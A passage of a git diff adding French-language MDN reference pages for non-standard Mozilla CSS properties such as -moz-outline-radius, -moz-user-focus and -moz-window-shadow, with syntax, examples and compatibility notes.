+ <dd>L'élément est affiché dans la même direction que l'axe du texte : il est horizontal si le mode d'écriture est horizontal et vertical pour un mode d'écriture vertical.</dd>
+ <dt><code>block</code></dt>
+ <dd>L'élément est affiché dans la direction perpendiculaire à l'axe du texte : il est vertical si le mode d'écriture est horizontal et horizontal pour un mode d'écriture vertical.</dd>
+ <dt><code>horizontal</code></dt>
+ <dd>L'élément est affiché horizontalement.</dd>
+ <dt><code>vertical</code></dt>
+ <dd>L'élément est affiché verticalement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  La barre de progression suivante est
+  horizontale (le comportement par défaut) :
+&lt;/p&gt;
+&lt;progress max="100" value="75"&gt;&lt;/progress&gt;
+
+&lt;p&gt;
+  La barre de progression suivante
+  est verticale :
+&lt;/p&gt;
+&lt;progress class="vert" max="100" value="75"&gt;&lt;/progress&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.vert {
+  -moz-orient: vertical;
+  width: 16px;
+  height: 150px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","360")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Bien que <a href="https://lists.w3.org/Archives/Public/www-style/2014Jun/0396.html">proposée</a> au W3C, cette propriété ne fait partie d'aucune spécification standard. C'est donc une propriété propriétaire liée à Mozilla/Gecko.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-orient")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("box-orient")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-outline-radius-bottomleft/index.html b/files/fr/web/css/-moz-outline-radius-bottomleft/index.html
new file mode 100644
index 0000000000..13259534a0
--- /dev/null
+++ b/files/fr/web/css/-moz-outline-radius-bottomleft/index.html
@@ -0,0 +1,49 @@
+---
+title: '-moz-outline-radius-bottomleft'
+slug: Web/CSS/-moz-outline-radius-bottomleft
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-outline-radius-bottomleft
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Dans les applications Mozilla, la propriété <strong><code>-moz-outline-radius-</code></strong><strong><code>bottomleft</code></strong> définit l'arrondi du coin inférieur gauche du contour.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Regardez le coin inférieur gauche de ce paragraphe.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 5px;
+  border: solid cyan;
+  outline: dotted red;
+  -moz-outline-radius-bottomleft: 2em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété étant spécifique à Firefox, l'exemple ci-avant ne fonctionnera pas dans un autre navigateur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("-moz-outline-radius")}}</li>
+ <li>La propriété standard {{cssxref("outline")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-outline-radius-bottomright/index.html b/files/fr/web/css/-moz-outline-radius-bottomright/index.html
new file mode 100644
index 0000000000..831cb29e39
--- /dev/null
+++ b/files/fr/web/css/-moz-outline-radius-bottomright/index.html
@@ -0,0 +1,49 @@
+---
+title: '-moz-outline-radius-bottomright'
+slug: Web/CSS/-moz-outline-radius-bottomright
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-outline-radius-bottomright
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Dans les applications Mozilla, la propriété <strong><code>-moz-outline-radius-</code></strong><strong><code>bottomright</code></strong> définit l'arrondi du coin inférieur droit du contour.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Regardez le coin inférieur droit de ce paragraphe.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 5px;
+  border: solid cyan;
+  outline: dotted red;
+  -moz-outline-radius-bottomright: 2em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété étant spécifique à Firefox, l'exemple ci-avant ne fonctionnera pas dans un autre navigateur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("-moz-outline-radius")}}</li>
+ <li>La propriété standard {{cssxref("outline")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-outline-radius-topleft/index.html b/files/fr/web/css/-moz-outline-radius-topleft/index.html
new file mode 100644
index 0000000000..28fef48dc0
--- /dev/null
+++ b/files/fr/web/css/-moz-outline-radius-topleft/index.html
@@ -0,0 +1,49 @@
+---
+title: '-moz-outline-radius-topleft'
+slug: Web/CSS/-moz-outline-radius-topleft
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-outline-radius-topleft
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Dans les applications Mozilla, la propriété <strong><code>-moz-outline-radius-</code></strong><strong><code>topleft</code></strong> définit l'arrondi du coin supérieur gauche du contour.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Observez le coin supérieur gauche de ce paragraphe.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 5px;
+  border: solid cyan;
+  outline: dotted red;
+  -moz-outline-radius-topleft: 2em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété étant spécifique à Firefox, l'exemple ci-avant ne fonctionnera pas dans un autre navigateur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("-moz-outline-radius")}}</li>
+ <li>La propriété standard {{cssxref("outline")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-outline-radius-topright/index.html b/files/fr/web/css/-moz-outline-radius-topright/index.html
new file mode 100644
index 0000000000..962f74ece2
--- /dev/null
+++ b/files/fr/web/css/-moz-outline-radius-topright/index.html
@@ -0,0 +1,49 @@
+---
+title: '-moz-outline-radius-topright'
+slug: Web/CSS/-moz-outline-radius-topright
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Référence(2)
+translation_of: Web/CSS/-moz-outline-radius-topright
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Dans les applications Mozilla, la propriété <strong><code>-moz-outline-radius-</code></strong><strong><code>topright</code></strong> définit l'arrondi du coin supérieur droit du contour.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Observez le coin supérieur droit de ce paragraphe.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 5px;
+  border: solid cyan;
+  outline: dotted red;
+  -moz-outline-radius-topright: 2em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété étant spécifique à Firefox, l'exemple ci-avant ne fonctionnera pas dans un autre navigateur.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("-moz-outline-radius")}}</li>
+ <li>La propriété standard {{cssxref("outline")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-outline-radius/index.html b/files/fr/web/css/-moz-outline-radius/index.html
new file mode 100644
index 0000000000..60e5e36069
--- /dev/null
+++ b/files/fr/web/css/-moz-outline-radius/index.html
@@ -0,0 +1,117 @@
+---
+title: '-moz-outline-radius'
+slug: Web/CSS/-moz-outline-radius
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-outline-radius
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>Dans les applications Mozilla (ex. Firefox), la propriété <strong><code>-moz-outline-radius</code></strong> peut être utilisée afin que le contour dessiné autour d'un élément ait des angles arrondis. Le contour ({{cssxref("outline")}}) est dessiné autour des éléments pour les faire ressortir.</p>
+
+<pre class="brush:css no-line-numbers">/* Une seule valeur */
+-moz-outline-radius: 25px;
+
+/* Deux valeurs */
+-moz-outline-radius: 25px 1em;
+
+/* Trois valeurs */
+-moz-outline-radius: 25px 1em 12%;
+
+/* Quatre valeurs */
+-moz-outline-radius: 25px 1em 12% 4mm;
+
+/* Valeurs globales */
+-moz-outline-radius: inherit;
+-moz-outline-radius: initial;
+-moz-outline-radius: unset;
+</pre>
+
+<p>La propriété <code>-moz-outline-radius</code> est une propriété raccourcie qui permet de définir les quatre propriétés destinées à chacun des angles {{cssxref("-moz-outline-radius-topleft")}}, {{cssxref("-moz-outline-radius-topright")}}, {{cssxref("-moz-outline-radius-bottomright")}} et {{cssxref("-moz-outline-radius-bottomleft")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<div class="note"><strong>Note :</strong> Les valeurs pour les coefficients elliptiques et les valeurs de type <code>&lt;percentage&gt;</code> respectent la même syntaxe que pour {{cssxref("border-radius")}}.</div>
+
+<p>Une, deux, trois ou quatre valeurs <code>&lt;outline-radius&gt;</code> dont chacune peut être de type :</p>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Voir {{cssxref("&lt;length&gt;")}} pour les valeurs possibles.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Voir {{cssxref("&lt;percentage&gt;")}}, voir {{cssxref("border-radius")}} pour plus de détails sur la proportionnalité des pourcentages.</dd>
+</dl>
+
+<h3 id="Gestion_des_valeurs_multiples">Gestion des valeurs multiples :</h3>
+
+<ul>
+ <li>Si une seule valeur est définie, celle-ci s'applique pour les 4 angles.</li>
+ <li>Si deux valeurs sont fournies, la première s'applique aux angles en haut à gauche et en bas à droite et la seconde s'applique aux angles en haut à droite et en bas à gauche.</li>
+ <li>Si trois valeurs sont fournies, la première s'applique à l'angle en haut à gauche, la deuxième aux angles en haut à droite et en bas à gauche et la troisième s'applique à l'angle en bas à droite.</li>
+ <li>Si quatre valeurs sont fournies, la première s'applique à l'angle en haut à gauche, la deuxième en haut à droite, la troisième en bas à droite et la quatrième en bas à gauche.</li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple1 {
+  border: 1px solid black;
+  outline: dotted red;
+  -moz-outline-radius: 12% 1em 25px;
+}
+
+.exemple2 {
+  border: 1px solid black;
+  outline: dotted red;
+  -moz-outline-radius-topleft: 12%;
+  -moz-outline-radius-topright: 1em;
+  -moz-outline-radius-bottomright: 35px;
+  -moz-outline-radius-bottomleft: 1em;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple1"&gt;
+  La propriété outline-style en utilisant -moz-outline-radius
+&lt;/p&gt;
+&lt;p class="exemple2"&gt;
+  Un exemple légèrement plus compliqué avec -moz-outline-radius-xxx
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat"><strong>Résultat</strong></h3>
+
+<p>{{EmbedLiveSample('Exemples', '200', '200')}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Cette propriété étant spécifique à Firefox, l'exemple ci-avant ne fonctionnera pas dans un autre navigateur.</p>
+</div>
+
+<h2 id="Notes">Notes</h2>
+
+<ul>
+ <li>Les coins pour lesquels on utilise la valeur <code>dotted</code> ou <code>dashed</code> sont affichés avec des lignes pleines (cf. {{bug("382721")}}) jusqu'à Firefox 50.</li>
+ <li>Cette propriété sera vraisemblablement abandonnée dans les prochaines versions de Gecko (cf. {{bug("593717")}}).</li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-outline-radius")}}</p>
diff --git a/files/fr/web/css/-moz-stack-sizing/index.html b/files/fr/web/css/-moz-stack-sizing/index.html
new file mode 100644
index 0000000000..dab5eb2287
--- /dev/null
+++ b/files/fr/web/css/-moz-stack-sizing/index.html
@@ -0,0 +1,62 @@
+---
+title: '-moz-stack-sizing'
+slug: Web/CSS/-moz-stack-sizing
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+  - XUL
+translation_of: Archive/Web/CSS/-moz-stack-sizing
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.1")}}</div>
+
+<p>La propriété <strong><code>-moz-stack-sizing</code></strong> est une propriété propriétaire. Normalement, un élément {{XULElem("stack")}} changera sa taille pour que tous ses éléments fils soient complètement visibles. Ainsi, si on déplace un élément fils de cette pile vers la droite, la pile s'élargira pour que l'élément reste visible.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-moz-stack-sizing: stretch-to-fit;
+-moz-stack-sizing: ignore;
+
+/* Valeurs globales */
+-moz-stack-sizing: inherit;
+-moz-stack-sizing: initial;
+-moz-stack-sizing: unset;
+</pre>
+
+<p>Si on veut empêcher le redimensionnement automatique, on pourra définir <code>-moz-stack-sizing</code> avec la valeur <code>ignore</code> sur l'élément fils. La propriété n'est pas définie sur la pile elle-même mais sur les éléments fils de la pile. Cela permet d'ignorer certains éléments fils mais pas d'autres.</p>
+
+<p class="note"><strong>Note :</strong> Dans les versions antérieures de Gecko, on pouvait contourner ce problème en définissant des marges basse et droite négatives sur la pile et des marges basse et droite positives sur les éléments fils qu'on ne souhaitait pas ignorer.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>stretch-to-fit</code></dt>
+ <dd>L'élément enfant influencera la taille de la pile.</dd>
+ <dt><code>ignore</code></dt>
+ <dd>La pile ne prendra pas en compte cet élément enfant lors du calcul de la taille.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.mainsheet {
+  -moz-stack-sizing: ignore;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{bug("346189")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-text-blink/index.html b/files/fr/web/css/-moz-text-blink/index.html
new file mode 100644
index 0000000000..dd11eb1154
--- /dev/null
+++ b/files/fr/web/css/-moz-text-blink/index.html
@@ -0,0 +1,51 @@
+---
+title: '-moz-text-blink'
+slug: Web/CSS/-moz-text-blink
+tags:
+  - CSS
+  - Non-standard
+  - Obsolete
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-moz-text-blink
+---
+<div>{{CSSRef}}{{non-standard_header}}{{Obsolete_Header(26)}}</div>
+
+<p>La propriété CSS non-standard <strong><code>-moz-text-blink</code></strong> détermine le mode de clignotement.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Firefox, qui était le seul des principaux navigateurs à la prendre en charge, a abandonné son support dans Firefox 26. Désormais, plus aucun navigateur ne la prend en charge.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Il n'y a pas de clignotement.</dd>
+ <dt><code>blink</code></dt>
+ <dd>Le texte clignote. <em>Ne pas</em> faire clignoter le texte est l'une des techniques pour respecter le <a href="https://www.w3.org/TR/UAAG/guidelines.html#tech-on-off-blinking-text" rel="external nofollow" title="http://www.w3.org/TR/UAAG/guidelines.html#tech-on-off-blinking-text">point de contrôle 3.3 des WAI-UAAG</a>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.exemple {
+  -moz-text-blink: blink;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété était définie dans un <a href="https://www.w3.org/TR/2003/CR-css3-text-20030514/#text-blink">ancien brouillon de la spécification CSS 3 Text</a>. Sa définition a été supprimée des nouvelles versions.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-text-blink")}}</p>
diff --git a/files/fr/web/css/-moz-user-focus/index.html b/files/fr/web/css/-moz-user-focus/index.html
new file mode 100644
index 0000000000..3de08502f7
--- /dev/null
+++ b/files/fr/web/css/-moz-user-focus/index.html
@@ -0,0 +1,75 @@
+---
+title: '-moz-user-focus'
+slug: Web/CSS/-moz-user-focus
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-user-focus
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-moz-user-focus</code></strong> est utilisée pour indiquer si l'élément peut recevoir le focus.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-moz-user-focus: normal;
+-moz-user-focus: ignore;
+
+/* Valeurs globales */
+-moz-user-focus: inherit;
+-moz-user-focus: initial;
+-moz-user-focus: unset;
+</pre>
+
+<p>En utilisant la valeur <code>ignore</code>, on peut désactiver la prise de focus sur l'élément (l'utilisateur ne pourra pas activer l'élément) et l'élément sera sauté lors de la navigation à la tabulation.</p>
+
+<div class="note"><strong>Note :</strong> Cette propriété ne fonctionne pas pour les éléments XUL {{XULElem("textbox")}} car l'élément <code>textbox</code> en tant que tel ne reçoit jamais le focus. À la place, XBL crée un élément HTML {{HTMLElement("input")}} anonyme à l'intérieur du <code>textbox</code> et que l'élément reçoit le focus. On peut empêcher le <code>textbox</code> de prendre le focus clavier en passant son index de tabulation à <code>-1</code>, pour l'empêcher de prendre le focus souris, on pourra utiliser les événements <code>mousedown</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>ignore</code></dt>
+ <dd>L'élément n'accepte pas le focus (au clavier ou au pointeur) et sera sauté lors de la navigation à la tabulation.</dd>
+ <dt><code>normal</code></dt>
+ <dd>L'élément peut recevoir le focus normalement.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;input class="ignored" value="L'utilisateur ne peut pas placer le focus sur cet élément."&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.ignored {
+  -moz-user-focus: ignore;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification. Une propriété similaire : <code>user-focus</code> a été <a href="https://www.w3.org/TR/2000/WD-css3-userint-20000216">proposée pour des brouillons de l'ancienne spécifications CSS3 pour les interfaces utilisateurs</a> mais a été rejetée par le groupe de travail.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-user-focus")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-moz-user-input")}}</li>
+ <li>{{cssxref("-moz-user-modify")}}</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-user-input/index.html b/files/fr/web/css/-moz-user-input/index.html
new file mode 100644
index 0000000000..e935062db2
--- /dev/null
+++ b/files/fr/web/css/-moz-user-input/index.html
@@ -0,0 +1,72 @@
+---
+title: '-moz-user-input'
+slug: Web/CSS/-moz-user-input
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-moz-user-input
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{Deprecated_Header(60)}}</div>
+
+<p>Pour les applications Mozilla, la propriété <strong><code>-moz-user-input</code></strong> détermine si l'utilisateur peut effectuer une saisie sur l'élément (bien que rejetée, cette propriété a contribué à la construction de la propriété standard {{cssxref("user-input")}}.</p>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-moz-user-input: none;
+-moz-user-input: enabled;
+-moz-user-input: disabled;
+
+/* Valeurs globales */
+-moz-user-input: inherit;
+-moz-user-input: initial;
+-moz-user-input: unset;
+</pre>
+
+<p>Pour les éléments qui acceptent la saisie par défaut (ex. les élémetns {{HTMLElement("textarea")}}), la valeur initiale de <code>-moz-user-input</code> sera <code>enabled</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>L'élément ne réagit pas aux saisies de l'utilisateur et il ne prend jamais l'état {{cssxref(":active")}}.</dd>
+ <dt><code>enabled</code></dt>
+ <dd>L'utilisateur peut effectuer une saisie sur cet élément. Pour les boîtes de texte, c'est le comportement par défaut. <strong>Cette valeur n'est plus prise en charge à partir de Firefox 60 (cf. {{bug(1405087)}}).</strong></dd>
+ <dt><code>disabled</code></dt>
+ <dd>L'utilisateur ne peut pas effectuer de saisie sur cet élément (cela n'est pas équivalent à utiliser l'attribut {{XULAttr("disabled")}} avec la valeur <code>true</code> car l'élément est dessiné normalement). <strong>Cette valeur n'est plus prise en charge à partir de Firefox 60 (cf. {{bug(1405087)}}).</strong></dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">input.exemple {
+  /* L'utilisateur pourra sélectionner le texte
+     mais ne pourra pas le modifier. */
+  -moz-user-input: disabled;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification. Une propriété similaire : <code>user-focus</code> a été <a href="https://www.w3.org/TR/2000/WD-css3-userint-20000216">proposée pour des brouillons de l'ancienne spécifications CSS3 pour les interfaces utilisateurs</a> mais a été rejetée par le groupe de travail.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-user-input")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("-moz-user-focus")}}</li>
+ <li>{{cssxref("-moz-user-modify")}}</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
diff --git a/files/fr/web/css/-moz-window-shadow/index.html b/files/fr/web/css/-moz-window-shadow/index.html
new file mode 100644
index 0000000000..4312b16d54
--- /dev/null
+++ b/files/fr/web/css/-moz-window-shadow/index.html
@@ -0,0 +1,70 @@
+---
+title: '-moz-window-shadow'
+slug: Web/CSS/-moz-window-shadow
+tags:
+  - CSS
+  - Non-standard
+  - Obsolete
+  - Propriété
+  - Reference
+  - XUL
+translation_of: Archive/Web/CSS/-moz-window-shadow
+---
+<p>{{CSSRef}}{{Non-standard_Header}}{{deprecated_Header("Gecko44")}}</p>
+
+<p>La propriété <strong><code>-moz-window-shadow</code></strong> définit si une fenêtre doit avoir une ombre. Cette propriété ne fonctionne que pour Mac OS X.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette propriété n'est pas standard et ne peut plus être utilisée depuis Firefox 44.</p>
+</div>
+
+<p>Firefox 3 a ajouté la prise en charge des fenêtres transparentes sur Mac OS X. Cependant, les ombres pour ces fenêtres étaient désactivées et il n'y avait aucun moyen de les activer.Avec Firefox 3.5, le comportement par défaut a été modifié. Toutes les fenêtres ont une ombre et la propriété <code>-moz-window-shadow</code> a été introduite afin de désactiver les ombres indésirables.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-moz-window-shadow</code> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>default</code></dt>
+ <dd>La fenêtre aura une ombre avec le style par défaut.</dd>
+ <dt><code>menu</code></dt>
+ <dd>La fenêtre aura une ombre dont le style est approprié pour les menus.</dd>
+ <dt><code>tooltip</code></dt>
+ <dd>La fenêtre aura une ombre dont le style est approprié pour les bulles d'information.</dd>
+ <dt><code>sheet</code></dt>
+ <dd>La fenêtre aura une ombre dont le style est approprié pour les fenêtres qui sont des feuilles.</dd>
+ <dt><code>none</code></dt>
+ <dd>La fenêtre n'aura pas d'ombre.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:css">.KUI-panel {
+  -moz-window-shadow: none;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-moz-window-shadow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{XULElem("panel")}}</li>
+ <li>{{XULElem("window")}}</li>
+</ul>
diff --git a/files/fr/web/css/-ms-accelerator/index.html b/files/fr/web/css/-ms-accelerator/index.html
new file mode 100644
index 0000000000..048b5b6f09
--- /dev/null
+++ b/files/fr/web/css/-ms-accelerator/index.html
@@ -0,0 +1,75 @@
+---
+title: '-ms-accelerator'
+slug: Web/CSS/-ms-accelerator
+tags:
